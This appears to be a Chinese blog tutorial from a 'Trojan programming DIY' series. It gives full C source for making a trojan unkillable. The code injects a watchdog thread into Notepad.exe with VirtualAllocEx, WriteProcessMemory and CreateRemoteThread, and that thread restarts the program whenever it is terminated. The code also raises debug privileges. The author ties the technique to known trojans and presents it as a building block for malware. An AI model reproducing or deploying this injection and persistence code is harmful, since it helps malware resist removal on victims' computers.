木馬編程DIY第7篇之線程守護

本系列文章請在本站搜索木馬編程查看其他文章
離開學校了,可以專心寫東西的時間相對也就少了
今晚又重拾心情把以前的文章做了一個系統的整理
以系列的方式發佈出來, 希望對編程有興趣的朋友
如果你有什麼問題的話,我都很高興與您學習交流
QQ:121121606 E-main:[email protected] 
Http://blog.csdn.net/chinafe  冷風於2008-5-9

 


木馬編程DIY第7篇之線程守護
文/圖 冷風

 


要防止自己的程序被關閉,通常有兩種方法1.像IcesWord一樣HOOK系統底層的函數2.使用線程保護。這裏我們主要學習線程保護的方法
線程保護的思路就是讓其它程序監視自己,如果自身程序退出了,那麼監視程序就重新啓動,這個過程我簡單畫了一個圖如圖1所示

 

跟據圖示1我們來分析一下線程守護的思路,並編程實現一個簡單的線程守護程序,本程序完成的功能是把監視代碼插入到Notepad.exe進程
以監視程序本身,如果自身被關閉,Notepad.exe進程將重新啓動自身程序,以達到不死的效應,以下代碼在VC6中編譯通過


現在我們重新整理一下思路,首先我們找一個其它進程做爲我們的保護神並把自己進程的句柄傳保護神,保護神通過用WaitForSingleObject
函數來檢測句柄來判斷要保護的進程是否結束,如果結束就重新啓動我們的程序.跟據上面的思路我們來分析細節的實現

 

1.檢測並保護程序的遠程線程代碼

因爲保護自己的代碼要注入到Notepad.exe進程,而執行在遠程線程代碼的API都需要重新定位,爲解決這個問題我們定義如下的結構

複製內容到剪貼板
代碼:
typedef struct _remoteparameter
{
    DWORD        rpWaitForSingleObject;
    DWORD        rpOpenProcess;
    DWORD       rpWinExec;
    DWORD        rpProcessPID;          
    HANDLE        rpProcessHandle;
    char        path[MAX_PATH];
}REMOTEPARAM;
這個結構中包的前三項爲遠程線程中需要使用的API函數, rpProcessPID爲要保護的進程PID,rpProcessHandle用來保存要保護進程的句柄
path爲當程序被關閉時需要啓動的程序路徑。遠程線程函數如下
複製內容到剪貼板
代碼:
DWORD WINAPI remote(LPVOID pvparam)
{
    REMOTEPARAM *rp=(REMOTEPARAM*)pvparam;  //傳遞進來的信息

    typedef UINT            (WINAPI *EWinExec)                (LPCSTR, UINT);
    typedef HANDLE            (WINAPI *EOpenProcess)            (DWORD, BOOL, DWORD);
    typedef DWORD            (WINAPI *EWaitForSingleObject)    (HANDLE, DWORD);


    EWinExec                tWinExec;
    EOpenProcess            tOpenProcess;
    EWaitForSingleObject    tWaitForSingleObject;


    tOpenProcess            =(EOpenProcess)rp->rpOpenProcess;
    tWaitForSingleObject    =(EWaitForSingleObject)rp->rpWaitForSingleObject;
    tWinExec                =(EWinExec)rp->rpWinExec;


    rp->rpProcessHandle=tOpenProcess(PROCESS_ALL_ACCESS,FALSE,rp->rpProcessPID);//打開要保護的進程

    tWaitForSingleObject(rp->rpProcessHandle,INFINITE);//要保護的進程是否結束
   
    tWinExec(rp->path, SW_SHOW);//如果結束就重新啓動程序
    return 0;
}
2.將remote函數代碼注入Notepad.exe進程並啓動


這裏爲了方便我定義成了一個函數,使用時只要提供要注入的進程名稱就可以完成線程守護的功能,它的返回值是遠程線程的句柄

其實現如下:
複製內容到剪貼板
代碼:
HANDLE CreateRemoteThreadProc(char* ProcessName)
{
        HANDLE    ThreadHandle;
        char    FilePath[MAX_PATH];

        GetModuleFileName(NULL,FilePath,MAX_PATH);//得到文件所在路徑

        int procID=processtopid(ProcessName);
        printf("The process pid is %d/n",procID);


        HINSTANCE         hkernel32;
        HANDLE            rphandle;
        char             *remotethr;
        char             *remotepar;
        int               cb;

           rphandle=OpenProcess(PROCESS_CREATE_THREAD |    
                                   PROCESS_VM_OPERATION  |    
                                    PROCESS_VM_WRITE,          
                                 FALSE,procID);
        if(rphandle==NULL)
        {
               printf("Open Remote Process  is Error/n");
        }
        else
        {
            printf("open process is ok/n");
        }

        /*****************************************************************/
                        /*將遠程線程函數代碼拷入目標進程*/
        /*****************************************************************/

        cb=sizeof(char)*4*1024;

        remotethr=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        if(remotethr==NULL)
        {
            printf("VirtualAllocEx for Thread Error/n");
            CloseHandle(rphandle);      
        }
        else
            printf("VirtualAllocEx is ok/n");


        if(WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL)==FALSE)
        {
            printf("WriteProcessMemory for Thread Error/n");
            CloseHandle(rphandle);
        }
        else
            printf("WriteProcessMemory is ok/n");

        /*****************************************************************/
                        /*將遠程線程函數參數拷入目標進程*/
                        /*這裏需要重定位遠程線程需要的API*/
        /*****************************************************************/

        REMOTEPARAM rp;
        memset((char*)&rp,0,sizeof(rp));

        hkernel32=GetModuleHandle("kernel32.dll");

        if(hkernel32==NULL)
        {
            printf("hKernel32 is Error/n");
        }

        rp.rpProcessPID            =GetCurrentProcessId();
        rp.rpOpenProcess        =(DWORD)GetProcAddress(hkernel32,"OpenProcess");
        rp.rpWinExec            =(DWORD)GetProcAddress(hkernel32,"WinExec");
        rp.rpWaitForSingleObject=(DWORD)GetProcAddress(hkernel32,"WaitForSingleObject");
        _tcscpy(rp.path,FilePath);   


        cb=sizeof(char)*sizeof(rp);
        remotepar=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
        if(remotepar==NULL)
        {
            printf("VirtualAllocEx for Parameter Error/n");
            CloseHandle(rphandle);
        }

        if(WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL)==FALSE)
        {
            printf("WriteProcessMemory for Parameter Error/n");
            CloseHandle(rphandle);
        }

 

        /*****************************************************************/
                        /*將遠程線程注入目標進程*/
        /*****************************************************************/

       
        ThreadHandle=CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
       
        if(ThreadHandle==NULL)
        {
            printf("CreateRemotThreadHandle Error/n");
            CloseHandle(rphandle);
        }
        else
            printf("CreateRemotThreadHandle is ok/n");

        return ThreadHandle;
}
3.其它自定義函數實現

其實CreateRemoteThreadProc函數就是最關鍵的實現了,最後介紹一個這個函數中的兩個自己定義函數
複製內容到剪貼板
代碼:
DWORD processtopid(char *processname)//跟據進程名稱取PID值
{
    DWORD    lpidprocesses[1024],cbneeded,cprocesses;
    HANDLE   hprocess;
    HMODULE  hmodule;
    UINT     i;
    TCHAR    normalname[MAX_PATH]=("UnknownProcess");
   
    if(!EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded))
    {
        return -1; 
    }
    cprocesses=cbneeded/sizeof(DWORD);
    for(i=0;i<cprocesses;i++)
    {
        hprocess=OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
        if(hprocess)
        {
            if(EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded))
            {
                GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
                if(!strcmp(normalname,processname)) 
                {
                    CloseHandle(hprocess);
                    return (lpidprocesses[i]);
                }
            }
        }
    }
    CloseHandle(hprocess);
    return 0;
}
複製內容到剪貼板
代碼:
BOOL EnablePriv()//提升進程權限
{
    HANDLE hToken;
    if ( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken) )
    {
        TOKEN_PRIVILEGES tkp;
       
        LookupPrivilegeValue( NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid );    //修改進程權限
        tkp.PrivilegeCount=1;
        tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges( hToken,FALSE,&tkp,sizeof tkp,NULL,NULL );    //通知系統修改進程權限
    }
        return 0;
}
4.主函數的實現

功能都實現了主函數相對十分簡單其代碼如下:
複製內容到剪貼板
代碼:
int main(int argc, char* argv[])
{
    HANDLE RemoteThreadHandle;

    EnablePriv();

    RemoteThreadHandle=CreateRemoteThreadProc("Notepad.exe");//注入進程

    WaitForSingleObject(RemoteThreadHandle,INFINITE);//等待結束

    return 0;
}
5.測試程序效果

測試打開本文所屬的程序,測試會發現通過結束進程等方法無法關閉本程序,這是因爲程序被關閉後Notepad.exe程序會重新啓動它
如果想關閉程序,只要先結束Notepad.exe就可以了

 

這樣線程守護就完成了,本程序很多地方參照了TOo2y大哥的三線程誘鼠器代碼在此表示感謝,其實多線程最初在2002年無花果的"中國黑客"
病毒中使用,並廣爲人知,到現在這個技術仍被大量使用着,像鴿子,凋零玫瑰的NCPH的服務端都有這樣的技術,如果你有不明白的地方
或者文章有錯誤歡迎你跟我交流我的QQ是 121121606

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章